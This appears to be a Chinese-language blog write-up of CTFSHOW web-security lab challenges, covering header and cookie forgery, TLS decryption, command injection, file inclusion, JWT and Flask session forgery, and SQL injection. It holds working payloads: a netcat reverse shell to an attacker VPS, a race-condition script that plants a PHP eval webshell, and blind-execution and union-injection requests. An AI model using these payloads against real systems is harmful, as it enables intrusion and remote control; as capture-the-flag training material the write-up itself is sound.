【CTFSHOW】 web应用安全与防护
第一章
Base64编码隐藏
前端js代码中有登录逻辑,解码这个base64

## HTTP头注入
在使用前文获取的口令登录后显示:

所以更改User-Agent字段为指定的内容

## Base64多层嵌套解码
1
2
3
4
5
6
7
8
9
10
document.getElementById('loginForm').addEventListener('submit', function(e) {
const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
function validatePassword(input) {
let encoded = btoa(input);
encoded = btoa(encoded + 'xH7jK').slice(3);
encoded = btoa(encoded.split('').reverse().join(''));
encoded = btoa('aB3' + encoded + 'qW9').substr(2);
return btoa(encoded) === correctPassword;
}
这个逻辑需要反推出input是什么,其中:
btoa()方法将str参数转为base64编码
slice(n)方法将字符串前n个字符去除
substr(n)方法将字符串前n个字符去除
按照以下脚本,能够确定口令为4-5位,且以7316结尾。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import base64
def atob(s):
return base64.b64decode(s).decode()
correct_password = "SXpWRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="
step_4_result_str = atob(correct_password)
# 第二步,还原被切掉的两个字符的前缀
step_3_result = None
for i in range(256):
for j in range(256):
prefix = chr(i) + chr(j)
full_b64_with_prefix = prefix + step_4_result_str
try:
full_decoded_bytes = base64.b64decode(full_b64_with_prefix)
full_decoded_str = full_decoded_bytes.decode('ascii')
# 检查是否能被 'aB3' 和 'qW9' 正确分割
if full_decoded_str.startswith('aB3') and full_decoded_str.endswith('qW9'):
# 提取中间部分
middle_part = full_decoded_str[3:-3] # len('aB3')=3, len('qW9')=3
step_3_result = middle_part
print(f"Found correct prefix for step 4: '{prefix}'")
break
except (base64.binascii.Error, UnicodeDecodeError):
# 如果解码失败,说明前缀不正确,继续下一个
continue
#结果是YU
step_3_result = atob(step_3_result)
step_3_result= step_3_result[::-1]
# 第四步,相同逻辑找到缺失的前3个字符
import string
for a in string.printable:
for b in string.printable:
for c in string.printable:
prefix = a+b+c
t = prefix + step_3_result
try:
s = base64.b64decode(t + '===').decode(errors='ignore')
if s.endswith('xH7jK'):
possible = s[:-5] # remove 'xH7jK'
original = base64.b64decode(possible).decode()
print("Recovered input:", original)
raise SystemExit
except Exception:
pass
然后爆破出口令是T17316
## HTTPS中间人攻击
这个真没接触过
题目是两个文件,一个pcap流量包,一个sslkey.log,当你使用 HTTPS(基于 TLS/SSL 的 HTTP)进行通信时,数据是加密的。为了在抓包工具中查看这些加密流量的明文内容(例如调试 Web 应用),你需要让抓包工具能够解密 TLS 流量。sslkey.log 文件就提供了这种能力:它记录了客户端或服务端在 TLS 握手过程中生成的“预主密钥”(pre-master secret)或“主密钥”(master secret),这些密钥可以被 Wireshark 等工具用来解密捕获的 TLS 数据包。
用wireshark打开流量包,然后配置密钥文件。
编辑->首选项->protocol->TLS

在TLS流量包中能找到flag
## Cookie伪造
得先猜出登录的弱口令,和ID一样。在登陆后会多一个名为role的cookie字段,将其改为admin即可。

# 第二章
## 一句话木马变形
首先ls可知目标文件,由于ls未定义所以触发warning将其处理为字符串

接下来的目标是只用数字、字母、下划线、小括号和丰号进行文件读取。

## 反弹shell构造
没有回显,但是可以写入文件

再者就用vps反弹shell
1
nc -lvnp 端口号1 #vps
1
nc -e /bin/bash vpsIP 端口号1 #靶机
## 管道符绕过过滤
这一题自带一个ls的执行。
不输入东西直接点击execute:

1
2
3
4
5
; //分号 都执行
| //只执行后面那条命令
|| //只执行前面那条命令
& //两条命令都会执行
&& //两条命令都会执行
## 无字母数字代码执行
工具: PHPFuck
取反绕过:
1
2
3
4
5
6
7
8
$system="system";
$command="tac flag.php";
echo '(~'.urlencode(~$system).')(~'.urlencode(~$command).');';
## 无字母数字命令执行
没整明白,似乎是取消了回显,写入文件无效果。官方wp是盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import time
url = "http://55a41bda-0fa9-44a2-a99e-cb52ed587f52.challenge.ctf.show/"
#payload.txt 内容为需要执行的命令 这里为 tac /var/www/html/flag.php
file = {"file": open("payload.txt", "r")}
data = {"code": ". /???/????????[@-[]"}
while True:
response = requests.post(url, files=file, data=data)
if response.text.find("CTF{")!= -1:
flag = response.text[response.text.find("CTF{"):-1]
print(flag)
break
else:
print("Waiting for flag...")
time.sleep(1)
# 第三章
## 日志文件包含
nginx系统包含日志文件:/var/log/nginx/access.log

## php://filter读取源码
php://filter/read=filter_name/resource=resource_name
* read=:指定要应用的读取过滤器(可以有多个,用 | 分隔)。
* resource=:指定要操作的资源,通常是文件路径(如 file.php)。
常见的过滤器包括:
* convert.base64-encode:将内容进行 base64 编码。
* convert.base64-decode:将内容进行 base64 解码(较少用)。
* string.rot13:ROT13 编码(仅用于演示)。
* string.toupper / string.tolower:转大写/小写。
* zlib.inflate / zlib.deflate:压缩/解压。
dirsearch存在两个文件db.php和index.php
读取db.php:
php://filter/read=convert.base64-encode/resource=db.php
## 远程文件包含(RFI)
不可访问日志文件,如下包含:

## 路径遍历突破
如下

前面的aa是个不存在的路径,然后返回上一层时会忽略掉这个不存在的路径名

## 临时文件包含
官方脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import threading
session=requests.session()
sess='ctfshow'
url="http://localhost:5055/"
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php echo "success";file_put_contents("/var/www/html/1.php","<?php eval(\\$_POST[1]);?>");?>'
}
file={
'file':'ctfshow'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.get(url+"?path=/tmp/sess_ctfshow",cookies=cookies)
if 'success' in r.text:
print("shell 地址为:"+url+"1.php")
exit()
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
# 第四章
## Session固定攻击
好像是情景模拟题,有点不知所云,在“send to admin”链接发送自己的session id后,再用同样的sessionid刷新登录即可。
## JWT令牌伪造
JWT编解码
按照提示将alg改为none,将admin改为true,然后覆盖jwttoken刷新即可
## Flask_Session伪造
读取网页后会出现一个get参数,可以读取文件:

读取源码:

审计代码:
1. 首先获取密钥:
uuid.getnode()方法会寻找/sys/class/net/的接口获取MAC并换为整数输出。
读取/proc/net/dev获取当前的网络接口,有eth0和1,一个一个试,查看/sys/class/net/eth0/address得到02:42:ac:0c:05:1c,如下或如密钥:
1
2
3
4
5
import random
hex = '0242ac0c051c'
code = int(hex,16)
random.seed(code)
print(str(random.random()*100))#84.53518668337956
2. flask session伪造
工具
python flask_session_cookie_manager3.py encode -t "{'username':'admin'}" -s "84.53518668337956"
获取到token,替换,访问flag路由。
## 弱口令爆破
1 | document.getElementById('loginForm').addEventListener('submit', function(e) { |
1 | import base64 |
1 | nc -lvnp 端口号1 #vps |
1 | nc -e /bin/bash vpsIP 端口号1 #靶机 |
1 | ; //分号 都执行 |
1 |
|
1 | import requests |
1 |
|
1 | import random |
第五章
联合注入
1 | ?id=-1%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database(); //查询表名 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 西风的那一年!
评论



